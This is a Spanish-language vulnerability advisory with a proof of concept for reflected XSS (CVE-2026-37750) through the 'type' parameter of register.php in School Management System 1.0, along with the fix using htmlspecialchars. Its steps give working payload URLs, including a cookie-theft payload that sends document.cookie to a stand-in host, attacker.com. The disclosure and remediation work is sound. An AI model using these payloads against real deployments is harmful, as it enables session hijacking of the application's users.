
Prueba de concepto de XSS reflejado para School Management System 1.0, que demuestra la ejecución de JavaScript sin autenticación a través del parámetro type en register.php, con análisis de impacto y guía de remediación.
| Campo | Información |
|---|
| ID CVE | CVE-2026-37750 |
| Tipo | Cross-Site Scripting (XSS) Reflejado |
| Severidad | Media (CVSSv3: 6.1) |
| Vendedor | mahmoudai1 |
| Producto | School Management System |
| Versión | 1.0 |
| Descubridor | Varad AP Mene |
| Fecha | 2026-04-16 |
| CWE | CWE-79 |
Una vulnerabilidad de Cross-Site Scripting (XSS) reflejado en School Management System 1.0 de mahmoudai1 permite a atacantes remotos no autenticados ejecutar JavaScript arbitrario en los navegadores de las víctimas mediante el parámetro type sin sanitizar en register.php. El parámetro se refleja sin escape dentro de una etiqueta h1 en la línea 22 y dentro de un atributo action de formulario en la línea 26. No se requiere autenticación para explotar esta vulnerabilidad.
ID CVE: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Media (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 es una aplicación web PHP/MySQL de mahmoudai1 en GitHub utilizada para gestionar estudiantes, profesores y padres en escuelas.
URL del vendedor: https://github.com/mahmoudai1/school-management-system
register.php — Formulario de registro (no requiere autenticación)
Línea 22: echo ucfirst($_REQUEST['type'])
Línea 26: echo $_REQUEST['type']
No se usa htmlspecialchars() — la entrada de usuario sin procesar se refleja directamente en el HTML.
Requisitos previos:
Paso 1 — Abra el navegador y visite esta URL: http://target/register.php?type=script-alert-document.cookie-/script
Paso 2 — JavaScript se ejecuta en el navegador Resultado: Aparece una ventana de alerta mostrando las cookies de sesión.
Paso 3 — Payload de robo de cookies: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Paso 4 — Payload de inyección en el atributo action del formulario: http://target/register.php?type="-script-alert(1)-/script
Dos puntos de inyección confirmados:
Punto de Inyección 1 — Dentro de la etiqueta h1 (línea 22):
echo ucfirst($_REQUEST['type'])
Salida:
<h1><script>alert(1)</script> Application</h1>
Punto de Inyección 2 — Dentro del atributo action del formulario (línea 26):
echo $_REQUEST['type']
Salida:
<form action="register.php?type=<script>alert(1)</script>">
Corrección de la línea 22: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Corrección de la línea 26: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene Correo electrónico: [email protected] GitHub: https://github.com/menevarad007